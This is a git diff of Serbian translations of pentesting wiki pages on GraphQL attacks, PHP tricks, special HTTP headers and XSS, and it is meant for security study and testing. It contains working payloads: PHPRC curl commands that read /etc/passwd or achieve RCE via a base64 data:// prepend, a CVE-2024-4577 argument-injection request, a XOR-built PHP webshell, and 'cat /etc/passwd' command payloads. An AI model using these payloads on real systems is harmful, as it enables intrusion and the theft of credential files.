```javascript Inspect/Sources/"Search all files" file:* mutation file:* query ``` -## CSRF u GraphQL +## CSRF u GraphQL-u Ako ne znate šta je CSRF, pročitajte sledeću stranicu: @@ -425,9 +425,9 @@ Zato, pošto se CSRF zahtevi poput prethodnih šalju **bez preflight zahteva**, Međutim, imajte na umu da je nova podrazumevana vrednost kolačića za `samesite` oznaku u Chrome-u `Lax`. To znači da će kolačić biti poslat samo sa treće strane u GET zahtevima. -Napomena da je obično moguće poslati **query** **zahtev** takođe kao **GET** **zahtev i CSRF token možda neće biti validiran u GET zahtevu.** +Napomena je da je obično moguće poslati **query** **zahtev** takođe kao **GET** **zahtev i CSRF token možda neće biti validiran u GET zahtevu.** -Takođe, zloupotrebom [**XS-Search**](../../pentesting-web/xs-search/index.html) **napada** može biti moguće exfiltrirati sadržaj sa GraphQL krajnje tačke zloupotrebom korisničkih kredencijala. +Takođe, zloupotrebom [**XS-Search**](../../pentesting-web/xs-search/index.html) **napada** može biti moguće exfiltrirati sadržaj sa GraphQL krajnje tačke zloupotrebom korisničkih akreditiva. Za više informacija **proverite** [**originalni post ovde**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html). @@ -443,9 +443,9 @@ Za više informacija proverite: ## Autorizacija u GraphQL -Mnoge GraphQL funkcije definisane na krajnjoj tački mogu samo proveravati autentifikaciju zahtevača, ali ne i autorizaciju. +Mnoge GraphQL funkcije definisane na krajnjoj tački mogu samo proveravati autentifikaciju zahteva, ali ne i autorizaciju. -Modifikovanje ulaznih varijabli upita može dovesti do osetljivih podataka o računu [leakovanih](https://hackerone.com/reports/792927). +Modifikovanje ulaznih varijabli upita može dovesti do osetljivih podataka o računu [leak](https://hackerone.com/reports/792927). Mutacija može čak dovesti do preuzimanja računa pokušavajući da modifikuje podatke o drugom računu. ```javascript @@ -465,11 +465,11 @@ U donjem primeru možete videti da je operacija "forgotPassword" i da bi trebala ## Zaobilaženje ograničenja brzine korišćenjem aliasa u GraphQL -U GraphQL-u, aliasi su moćna funkcija koja omogućava **izričito imenovanje svojstava** prilikom slanja API zahteva. Ova sposobnost je posebno korisna za dobijanje **više instanci istog tipa** objekta unutar jednog zahteva. Aliasi se mogu koristiti za prevazilaženje ograničenja koje sprečava GraphQL objekte da imaju više svojstava sa istim imenom. +U GraphQL-u, aliasi su moćna funkcija koja omogućava **izričito imenovanje svojstava** prilikom slanja API zahteva. Ova sposobnost je posebno korisna za preuzimanje **više instanci istog tipa** objekta unutar jednog zahteva. Aliasi se mogu koristiti za prevazilaženje ograničenja koja sprečavaju GraphQL objekte da imaju više svojstava sa istim imenom. -Za detaljno razumevanje GraphQL aliasa, preporučuje se sledeći resurs: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). +Za detaljno razumevanje GraphQL aliasa, preporučuje se sledeći resurs: [Aliasi](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). -Dok je primarna svrha aliasa da smanji potrebu za brojnim API pozivima, identifikovan je nenamerni slučaj upotrebe gde se aliasi mogu iskoristiti za izvođenje brute force napada na GraphQL endpoint. Ovo je moguće jer su neki endpointi zaštićeni ograničivačima brzine dizajniranim da spreče brute force napade ograničavanjem **broja HTTP zahteva**. Međutim, ovi ograničivači brzine možda ne uzimaju u obzir broj operacija unutar svakog zahteva. S obzirom na to da aliasi omogućavaju uključivanje više upita u jedan HTTP zahtev, mogu zaobići takve mere ograničenja brzine. +Dok je primarna svrha aliasa da smanji potrebu za brojnim API pozivima, identifikovan je neplanirani slučaj upotrebe gde se aliasi mogu iskoristiti za izvođenje brute force napada na GraphQL endpoint. Ovo je moguće jer su neki endpointi zaštićeni ograničivačima brzine dizajniranim da spreče brute force napade ograničavanjem **broja HTTP zahteva**. Međutim, ovi ograničivači brzine možda ne uzimaju u obzir broj operacija unutar svakog zahteva. S obzirom na to da aliasi omogućavaju uključivanje više upita u jedan HTTP zahtev, mogu zaobići takve mere ograničenja brzine. Razmotrite primer dat ispod, koji ilustruje kako se mogu koristiti aliasovani upiti za verifikaciju validnosti kodova za popust u prodavnici. Ova metoda bi mogla zaobići ograničenje brzine jer kompilira nekoliko upita u jedan HTTP zahtev, potencijalno omogućavajući verifikaciju više kodova za popust istovremeno. ```bash @@ -486,7 +486,7 @@ valid } } ``` -## DoS u GraphQL-u +## DoS u GraphQL ### Preopterećenje Alias-a @@ -539,7 +539,7 @@ I zatim **koristite neke od prilagođenih**. ### **Ranljivost duplikacije polja** -**Duplikacija polja** je ranljivost gde GraphQL server dozvoljava upite sa istim poljem ponovljenim prekomerno. Ovo prisiljava server da rešava polje suvišno za svaku instancu, trošeći značajne resurse (CPU, memoriju i pozive ka bazi podataka). Napadač može kreirati upite sa stotinama ili hiljadama ponovljenih polja, uzrokujući visoko opterećenje i potencijalno dovodeći do **Odbijanja usluge (DoS)**. +**Duplikacija polja** je ranljivost gde GraphQL server dozvoljava upite sa istim poljem ponovljenim prekomerno. Ovo prisiljava server da rešava polje suvišno za svaku instancu, trošeći značajne resurse (CPU, memoriju i pozive ka bazi podataka). Napadač može kreirati upite sa stotinama ili hiljadama ponovljenih polja, uzrokujući visoko opterećenje i potencijalno dovodeći do **Denial of Service (DoS)**. ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \ @@ -553,13 +553,13 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testira uobičajene greške u konfiguraciji graphql krajnjih tačaka - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Skripta za bezbednosno audiranje GraphQL-a sa fokusom na izvođenje serijskih GraphQL upita i mutacija. - [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Prepoznaje koji se graphql koristi -- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Alat koji se može koristiti za preuzimanje šema i pretragu osetljivih podataka, testiranje autorizacije, brute force šema i pronalaženje putanja do određenog tipa. -- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Može se koristiti kao samostalni alat ili [Burp ekstenzija](https://github.com/doyensec/inql). -- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Može se koristiti kao CLI klijent takođe za automatizaciju napada -- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Alat koji navodi različite načine **dostizanja određenog tipa u GraphQL šemi**. +- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Alat koji se može koristiti za preuzimanje šema i pretragu osetljivih podataka, testiranje autorizacije, brute force šema i pronalaženje putanja do datog tipa. +- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Može se koristiti kao samostalan alat ili [Burp ekstenzija](https://github.com/doyensec/inql). +- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Može se koristiti kao CLI klijent takođe za automatizaciju napada: `python3 graphqlmap.py -u http://example.com/graphql --inject` +- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Alat koji navodi različite načine **dostizanja datog tipa u GraphQL šemi**. - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Naslednik samostalnog i CLI moda InQL-a -- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp ekstenzija za napredno testiranje GraphQL-a. _**Skener**_ je srž InQL v5.0, gde možete analizirati GraphQL krajnju tačku ili lokalnu datoteku introspekcije šeme. Automatski generiše sve moguće upite i mutacije, organizujući ih u strukturirani prikaz za vašu analizu. _**Napadač**_ komponenta vam omogućava da pokrenete serijske GraphQL napade, što može biti korisno za zaobilaženje loše implementiranih ograničenja brzine. -- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Pokušajte da dobijete šemu čak i kada je introspekcija onemogućena koristeći pomoć nekih Graphql baza podataka koje će sugerisati imena mutacija i parametara. +- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp ekstenzija ili python skripta za napredno GraphQL testiranje. _**Skener**_ je srž InQL v5.0, gde možete analizirati GraphQL krajnju tačku ili lokalnu datoteku introspekcije šeme. Automatski generiše sve moguće upite i mutacije, organizujući ih u strukturirani prikaz za vašu analizu. _**Napadač**_ komponenta vam omogućava da izvršite serijske GraphQL napade, što može biti korisno za zaobilaženje loše implementiranih ograničenja brzine: `python3 inql.py -t http://example.com/graphql -o output.json` +- [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Pokušava da dobije šemu čak i kada je introspekcija onemogućena koristeći pomoć nekih Graphql baza podataka koje će sugerisati imena mutacija i parametara. ### Klijenti diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index d605ebb36..3277d4f56 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -35,8 +35,8 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf - `"string" == 0 -> True` String koji ne počinje brojem je jednak broju - `"0xAAAA" == "43690" -> True` Stringovi sastavljeni od brojeva u decimalnom ili heksadecimalnom formatu mogu se uporediti sa drugim brojevima/stringovima sa True kao rezultatom ako su brojevi isti (brojevi u stringu se tumače kao brojevi) - `"0e3264578" == 0 --> True` String koji počinje sa "0e" i nakon toga sledi bilo šta biće jednak 0 -- `"0X3264578" == 0X --> True` String koji počinje sa "0" i nakon toga sledi bilo koje slovo (X može biti bilo koje slovo) i nakon toga bilo šta biće jednak 0 -- `"0e12334" == "0" --> True` Ovo je veoma zanimljivo jer u nekim slučajevima možete kontrolisati string unos "0" i neki sadržaj koji se hešira i upoređuje sa njim. Stoga, ako možete pružiti vrednost koja će stvoriti heš koji počinje sa "0e" i bez ikakvog slova, mogli biste zaobići upoređivanje. Možete pronaći **već heširane stringove** sa ovim formatom ovde: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) +- `"0X3264578" == 0X --> True` String koji počinje sa "0" i nakon toga sledi bilo koje slovo (X može biti bilo koje slovo) i nakon toga sledi bilo šta biće jednak 0 +- `"0e12334" == "0" --> True` Ovo je veoma zanimljivo jer u nekim slučajevima možete kontrolisati string unos "0" i neki sadržaj koji se hešira i upoređuje sa njim. Stoga, ako možete pružiti vrednost koja će kreirati heš koji počinje sa "0e" i bez ikakvog slova, mogli biste zaobići upoređivanje. Možete pronaći **već heširane stringove** sa ovim formatom ovde: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) - `"X" == 0 --> True` Svako slovo u stringu je jednako int 0 Više informacija na [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) @@ -62,9 +62,9 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real ``` Ista greška se javlja sa `strcasecmp()` -### Strogo tipiziranje +### Strogo prebacivanje tipova -Čak i ako se koristi `===`, mogu se javiti greške koje čine **upoređivanje ranjivim** na **tipiziranje**. Na primer, ako upoređivanje **konvertuje podatke u drugi tip objekta pre upoređivanja**: +Čak i ako se koristi `===`, mogu se javiti greške koje čine da je upoređivanje **ranjivo** na **prebacivanje tipova**. Na primer, ako upoređivanje **pretvara podatke u drugi tip objekta pre nego što ih uporedi**: ```php (int) "1abc" === (int) "1xyz" //This will be true ``` @@ -74,7 +74,7 @@ Ista greška se javlja sa `strcasecmp()` #### Bypass novog reda -Međutim, kada se deli početak regexp-a, `preg_match()` **proverava samo prvu liniju korisničkog unosa**, tako da ako nekako možete **poslati** unos u **several lines**, mogli biste da zaobiđete ovu proveru. Primer: +Međutim, kada se delimituje početak regexp-a, `preg_match()` **proverava samo prvu liniju korisničkog unosa**, tako da ako nekako možete **poslati** unos u **several lines**, mogli biste da zaobiđete ovu proveru. Primer: ```php $myinput="aaaaaaa 11111111"; //Notice the new line @@ -93,12 +93,12 @@ Da biste zaobišli ovu proveru, možete **poslati vrednost sa novim redovima url "cmd": "cat /etc/passwd" } ``` -Pronađite primer ovde: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice) +Nađite primer ovde: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice) #### **Obilaženje greške u dužini** (Ovo obilaženje je očigledno isprobano na PHP 5.2.5 i nisam mogao da ga pokrenem na PHP 7.3.15)\ -Ako možete poslati `preg_match()` važeći veoma **veliki unos**, **neće moći da ga obradi** i moći ćete da **obidjete** proveru. Na primer, ako se crna lista JSON, mogli biste poslati: +Ako možete poslati `preg_match()` važeći veoma **veliki unos**, **neće moći da ga obradi** i moći ćete da **obidjete** proveru. Na primer, ako se blokira JSON, mogli biste poslati: ```bash payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` @@ -110,7 +110,7 @@ Trik iz: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-wri
-Ukratko, problem se dešava jer `preg_*` funkcije u PHP-u koriste [PCRE biblioteku](http://www.pcre.org/). U PCRE određene regularne izraze se podudara koristeći mnogo rekurzivnih poziva, što troši mnogo prostora na steku. Moguće je postaviti limit na broj dozvoljenih rekurzija, ali u PHP-u ovaj limit [podrazumevano iznosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) što je više nego što stane na stek. +Ukratko, problem nastaje jer `preg_*` funkcije u PHP-u koriste [PCRE biblioteku](http://www.pcre.org/). U PCRE određene regularne izraze se podudara koristeći mnogo rekurzivnih poziva, što troši mnogo prostora na steku. Moguće je postaviti limit na broj dozvoljenih rekurzija, ali u PHP-u ovaj limit [podrazumevano iznosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) što je više nego što stane na stek. [Ova Stackoverflow tema](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) je takođe povezana u postu gde se o ovom problemu govori detaljnije. Naš zadatak je sada bio jasan:\ **Pošaljite ulaz koji bi naterao regex da izvrši 100_000+ rekurzija, uzrokujući SIGSEGV, čineći da `preg_match()` funkcija vrati `false`, čime aplikacija misli da naš ulaz nije zlonameran, izbacujući iznenađenje na kraju payload-a nešto poput `{system()}` da bi dobili SSTI --> RCE --> flag :)**. @@ -154,9 +154,10 @@ Check: ## More tricks - **register_globals**: U **PHP < 4.1.1.1** ili ako je pogrešno konfigurisano, **register_globals** može biti aktivan (ili se njihovo ponašanje imitira). To implicira da u globalnim promenljivim kao što je $\_GET, ako imaju vrednost npr. $\_GET\["param"]="1234", možete mu pristupiti preko **$param. Stoga, slanjem HTTP parametara možete prepisati promenljive\*\* koje se koriste unutar koda. -- **PHPSESSION kolačići iste domene se čuvaju na istom mestu**, stoga ako unutar domene **različiti kolačići se koriste u različitim putanjama** možete učiniti da putanja **pristupi kolačiću druge putanje** postavljanjem vrednosti kolačića druge putanje.\ -Na ovaj način, ako **obe putanje pristupaju promenljivoj sa istim imenom** možete učiniti da **vrednost te promenljive u putanji1 važi za putanju2**. I tada će putanja2 smatrati validnim promenljive putanje1 (dajući kolačiću ime koje odgovara njemu u putanji2). +- **PHPSESSION kolačići iste domene se čuvaju na istom mestu**, stoga ako unutar domene **različiti kolačići se koriste na različitim putanjama** možete učiniti da putanja **pristupi kolačiću druge putanje** postavljanjem vrednosti kolačića druge putanje.\ +Na ovaj način, ako **obe putanje pristupaju promenljivoj sa istim imenom** možete učiniti da **vrednost te promenljive u putanji1 važi za putanju2**. I onda će putanja2 smatrati validnim promenljive putanje1 (dajući kolačiću ime koje odgovara njemu u putanji2). - Kada imate **korisnička imena** korisnika mašine. Proverite adresu: **/\~\** da vidite da li su php direktorijumi aktivirani. +- Ako php konfiguracija ima **`register_argc_argv = On`** tada se parametri upita odvojeni razmacima koriste za popunjavanje niza argumenata **`array_keys($_SERVER['argv'])`** kao da su **argumenti iz CLI**. Ovo je zanimljivo jer ako je ta **postavka isključena**, vrednost **args niza će biti `Null`** kada se pozove sa web-a jer ars niz neće biti popunjen. Stoga, ako web stranica pokuša da proveri da li se pokreće kao web ili kao CLI alat sa poređenjem poput `if (empty($_SERVER['argv'])) {`, napadač može poslati **parametre u GET zahtevu kao `?--configPath=/lalala`** i misliće da se pokreće kao CLI i potencijalno obraditi i koristiti te argumente. Više informacija u [originalnom tekstu](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms). - [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify @@ -267,22 +268,22 @@ Da biste otkrili broj zagrada koje treba da zatvorite: ### **RCE putem .httaccess** -Ako možete da **otpremite** **.htaccess**, onda možete da **konfigurišete** nekoliko stvari i čak izvršite kod (konfigurišući da se datoteke sa ekstenzijom .htaccess mogu **izvršiti**). +Ako možete **otpremiti** **.htaccess**, onda možete **konfigurisati** nekoliko stvari i čak izvršiti kod (konfigurišući da se datoteke sa ekstenzijom .htaccess mogu **izvršiti**). Različiti .htaccess shell-ovi mogu se naći [ovde](https://github.com/wireghoul/htshells) ### RCE putem Env Varijabli -Ako pronađete ranjivost koja vam omogućava da **modifikujete env varijable u PHP-u** (i još jednu za otpremanje datoteka, iako se možda ovo može zaobići uz više istraživanja), mogli biste da zloupotrebite ovo ponašanje da dobijete **RCE**. +Ako pronađete ranjivost koja vam omogućava da **modifikujete env varijable u PHP-u** (i još jednu za otpremanje datoteka, iako uz više istraživanja možda ovo može biti zaobiđeno), mogli biste zloupotrebiti ovo ponašanje da dobijete **RCE**. - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Ova env varijabla vam omogućava da učitate proizvoljne biblioteke prilikom izvršavanja drugih binarnih datoteka (iako u ovom slučaju možda neće raditi). -- **`PHPRC`** : Upravlja PHP-om o **tome gde da locira svoj konfiguracioni fajl**, obično nazvan `php.ini`. Ako možete da otpremite svoj konfiguracioni fajl, onda, koristite `PHPRC` da usmerite PHP ka njemu. Dodajte **`auto_prepend_file`** unos koji specificira drugu otpremanu datoteku. Ova druga datoteka sadrži normalan **PHP kod, koji se zatim izvršava** od strane PHP runtime-a pre bilo kog drugog koda. +- **`PHPRC`** : Upravlja PHP-om o **tome gde da locira svoj konfiguracioni fajl**, obično nazvan `php.ini`. Ako možete otpremiti svoj konfiguracioni fajl, onda, koristite `PHPRC` da usmerite PHP ka njemu. Dodajte **`auto_prepend_file`** unos koji specificira drugu otpremanu datoteku. Ova druga datoteka sadrži normalan **PHP kod, koji se zatim izvršava** od strane PHP runtime-a pre bilo kog drugog koda. 1. Otpremite PHP datoteku koja sadrži naš shellcode 2. Otpremite drugu datoteku, koja sadrži **`auto_prepend_file`** direktivu koja upućuje PHP preprocesor da izvrši datoteku koju smo otpremili u koraku 1 3. Postavite `PHPRC` varijablu na datoteku koju smo otpremili u koraku 2. - Dobijte više informacija o tome kako izvršiti ovaj lanac [**iz originalnog izveštaja**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/). - **PHPRC** - druga opcija -- Ako **ne možete da otpremite datoteke**, možete koristiti u FreeBSD "datoteku" `/dev/fd/0` koja sadrži **`stdin`**, što je **telo** zahteva poslatog na `stdin`: +- Ako **ne možete otpremiti datoteke**, možete koristiti u FreeBSD "datoteku" `/dev/fd/0` koja sadrži **`stdin`**, što je **telo** zahteva poslatog na `stdin`: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` - Ili da dobijete RCE, omogućite **`allow_url_include`** i dodajte datoteku sa **base64 PHP kodom**: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'` @@ -294,7 +295,7 @@ Web server analizira HTTP zahteve i prosleđuje ih PHP skripti koja izvršava za ```jsx -d allow_url_include=1 -d auto_prepend_file=php://input ``` -Pored toga, moguće je injektovati "-" parametar koristeći 0xAD karakter zbog kasnije normalizacije PHP-a. Proverite primer eksploatacije iz [**ove objave**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/): +Pored toga, moguće je injektovati "-" parametar koristeći 0xAD karakter zbog kasnije normalizacije PHP-a. Proverite primer eksploatacije iz [**ovog posta**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/): ```jsx POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1 Host: {{host}} @@ -332,9 +333,9 @@ Možete koristiti **web**[ **www.unphp.net**](http://www.unphp.net) **za deobfus ## PHP omotači i protokoli -PHP omotači i protokoli mogu vam omogućiti da **obiđete zaštite za pisanje i čitanje** u sistemu i kompromitujete ga. Za [**više informacija proverite ovu stranicu**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols). +PHP omotači i protokoli mogu vam omogućiti da **zaobiđete zaštite za pisanje i čitanje** u sistemu i kompromitujete ga. Za [**više informacija proverite ovu stranicu**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols). -## Xdebug neautentifikovani RCE +## Xdebug neautentifikovana RCE Ako vidite da je **Xdebug** **omogućen** u `phpconfig()` izlazu, trebali biste pokušati da dobijete RCE putem [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) @@ -352,7 +353,7 @@ echo "$x ${Da}"; //Da Drums ``` ## RCE zloupotreba novog $\_GET\["a"]\($\_GET\["b") -Ako na stranici možete **napraviti novi objekat proizvoljne klase** možda ćete moći da dobijete RCE, proverite sledeću stranicu da biste saznali kako: +Ako na stranici možete **napraviti novi objekat proizvoljne klase**, možda ćete moći da dobijete RCE, proverite sledeću stranicu da biste saznali kako: {{#ref}} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -375,14 +376,14 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd) ``` ### XOR easy shell code -Prema [**ovom izveštaju** ](https://mgp25.com/ctf/Web-challenge/) moguće je generisati jednostavan shellcode na ovaj način: +Prema [**ovoj analizi** ](https://mgp25.com/ctf/Web-challenge/) moguće je generisati jednostavan shellcode na ovaj način: ```php $_="`{{{"^"?<>/"; // $_ = '_GET'; ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); $_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]); ``` -Dakle, ako možete **izvršiti proizvoljni PHP bez brojeva i slova** možete poslati zahtev poput sledećeg koristeći tu payload da izvršite proizvoljni PHP: +Dakle, ako možete **izvršiti proizvoljni PHP bez brojeva i slova** možete poslati zahtev poput sledećeg, zloupotrebljavajući taj payload da izvršite proizvoljni PHP: ``` POST: /action.php?_=system&__=cat+flag.php Content-Type: application/x-www-form-urlencoded diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index c0833702b..f73c520fb 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -57,7 +57,7 @@ Hop-by-hop zaglavlje je zaglavlje koje je dizajnirano da bude obrađeno i konzum **Zaglavlja keš servera**: - **`X-Cache`** u odgovoru može imati vrednost **`miss`** kada zahtev nije keširan i vrednost **`hit`** kada je keširan -- Slična ponašanja u zaglavlju **`Cf-Cache-Status`** +- Slično ponašanje u zaglavlju **`Cf-Cache-Status`** - **`Cache-Control`** označava da li se resurs kešira i kada će biti sledeći put keširan: `Cache-Control: public, max-age=1800` - **`Vary`** se često koristi u odgovoru da **označi dodatna zaglavlja** koja se tretiraju kao **deo keš ključa** čak i ako su obično bez ključa. - **`Age`** definiše vreme u sekundama koliko je objekat bio u kešu proksija. @@ -67,7 +67,7 @@ Hop-by-hop zaglavlje je zaglavlje koje je dizajnirano da bude obrađeno i konzum ../../pentesting-web/cache-deception/ {{#endref}} -**Zaglavlja lokalnog keša**: +**Lokalna keš zaglavlja**: - `Clear-Site-Data`: Zaglavlje koje označava keš koji treba ukloniti: `Clear-Site-Data: "cache", "cookies"` - `Expires`: Sadrži datum/vreme kada odgovor treba da istekne: `Expires: Wed, 21 Oct 2015 07:28:00 GMT` @@ -76,15 +76,16 @@ Hop-by-hop zaglavlje je zaglavlje koje je dizajnirano da bude obrađeno i konzum ## Uslovi -- Zahtevi koji koriste ova zaglavlja: **`If-Modified-Since`** i **`If-Unmodified-Since`** biće odgovoreni sa podacima samo ako zaglavlje odgovora\*\*`Last-Modified`\*\* sadrži drugačije vreme. +- Zahtevi koji koriste ova zaglavlja: **`If-Modified-Since`** i **`If-Unmodified-Since`** će dobiti odgovor sa podacima samo ako zaglavlje odgovora\*\*`Last-Modified`\*\* sadrži drugačije vreme. - Uslovni zahtevi koristeći **`If-Match`** i **`If-None-Match`** koriste Etag vrednost tako da web server pošalje sadržaj odgovora ako su podaci (Etag) promenjeni. `Etag` se uzima iz HTTP odgovora. - Vrednost **Etag** se obično **izračunava** na osnovu **sadržaja** odgovora. Na primer, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` označava da je `Etag` **Sha1** od **37 bajtova**. ## Zahtevi opsega - **`Accept-Ranges`**: Označava da li server podržava zahteve opsega, i ako da, u kojoj jedinici se opseg može izraziti. `Accept-Ranges: ` -- **`Range`**: Označava deo dokumenta koji server treba da vrati. -- **`If-Range`**: Stvara uslovni zahtev opsega koji se ispunjava samo ako dati etag ili datum odgovara udaljenom resursu. Koristi se da se spreči preuzimanje dva opsega iz nekompatibilnih verzija resursa. +- **`Range`**: Označava deo dokumenta koji server treba da vrati. Na primer, `Range:80-100` će vratiti bajtove od 80 do 100 originalnog odgovora sa status kodom 206 Partial Content. Takođe, zapamti da ukloniš `Accept-Encoding` zaglavlje iz zahteva. +- Ovo može biti korisno za dobijanje odgovora sa proizvoljnim reflektovanim javascript kodom koji bi inače mogao biti eskapiran. Ali da bi se ovo zloupotrebilo, potrebno je injektovati ova zaglavlja u zahtev. +- **`If-Range`**: Kreira uslovni zahtev opsega koji se ispunjava samo ako dati etag ili datum odgovara udaljenom resursu. Koristi se da se spreči preuzimanje dva opsega iz nekompatibilnih verzija resursa. - **`Content-Range`**: Označava gde u punom telu poruke pripada delimična poruka. ## Informacije o telu poruke @@ -95,7 +96,7 @@ Hop-by-hop zaglavlje je zaglavlje koje je dizajnirano da bude obrađeno i konzum - **`Content-Language`**: Opisuje ljudski jezik(e) namenjene publici, tako da omogućava korisniku da razlikuje prema vlastitom preferiranom jeziku. - **`Content-Location`**: Označava alternativnu lokaciju za vraćene podatke. -Iz perspektive pentesta, ove informacije su obično "beskorisne", ali ako je resurs **zaštićen** 401 ili 403 i možete pronaći neki **način** da **dobijete** ove **informacije**, to bi moglo biti **zanimljivo.**\ +Iz perspektive pentestinga, ove informacije su obično "beskorisne", ali ako je resurs **zaštićen** sa 401 ili 403 i možeš pronaći neki **način** da **dobiješ** ove **informacije**, to bi moglo biti **zanimljivo.**\ Na primer, kombinacija **`Range`** i **`Etag`** u HEAD zahtevu može otkriti sadržaj stranice putem HEAD zahteva: - Zahtev sa zaglavljem `Range: bytes=20-20` i odgovorom koji sadrži `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` otkriva da je SHA1 bajta 20 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` @@ -118,17 +119,17 @@ Content-Disposition: attachment; filename="filename.jpg" ``` Ovo znači da je datoteka pod nazivom "filename.jpg" namenjena preuzimanju i čuvanju. -## Bezbednosni Headeri +## Bezbednosni zaglavlja -### Politika Bezbednosti Sadržaja (CSP) +### Politika bezbednosti sadržaja (CSP) {{#ref}} ../../pentesting-web/content-security-policy-csp-bypass/ {{#endref}} -### **Pouzdane vrste** +### **Poverljivi tipovi** -Sprovodeći Pouzdane vrste putem CSP-a, aplikacije se mogu zaštititi od DOM XSS napada. Pouzdane vrste osiguravaju da se samo posebno izrađeni objekti, u skladu sa uspostavljenim bezbednosnim politikama, mogu koristiti u opasnim web API pozivima, čime se podrazumevano osigurava JavaScript kod. +Sprovodeći Poverljive tipove putem CSP-a, aplikacije se mogu zaštititi od DOM XSS napada. Poverljivi tipovi osiguravaju da se samo posebno izrađeni objekti, u skladu sa uspostavljenim bezbednosnim politikama, mogu koristiti u opasnim pozivima web API-ja, čime se podrazumevano osigurava JavaScript kod. ```javascript // Feature detection if (window.trustedTypes && trustedTypes.createPolicy) { @@ -153,7 +154,7 @@ X-Content-Type-Options: nosniff ``` ### **X-Frame-Options** -Da bi se borili protiv clickjacking-a, ovaj header ograničava kako se dokumenti mogu ugraditi u ``, ` ``` -Napomena da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu za kodiranje **payload-a**, to **neće** **raditi**, ali možete **mešati ih unutar payload-a**. +Napomena da ako pokušate da **koristite oba** `URLencode + HTMLencode` u bilo kom redosledu da kodirate **payload**, to **neće** **raditi**, ali možete **mešati ih unutar payload-a**. **Korišćenje Hex i Octal kodiranja sa `javascript:`** @@ -383,10 +383,10 @@ Ako možete da ubacite bilo koju URL adresu u proizvoljnom **` //No safari @@ -401,7 +401,7 @@ Firefox: %09 %20 %28 %2C %3B Opera: %09 %20 %2C %3B Android: %09 %20 %28 %2C %3B ``` -### XSS u "Neiskoristivim 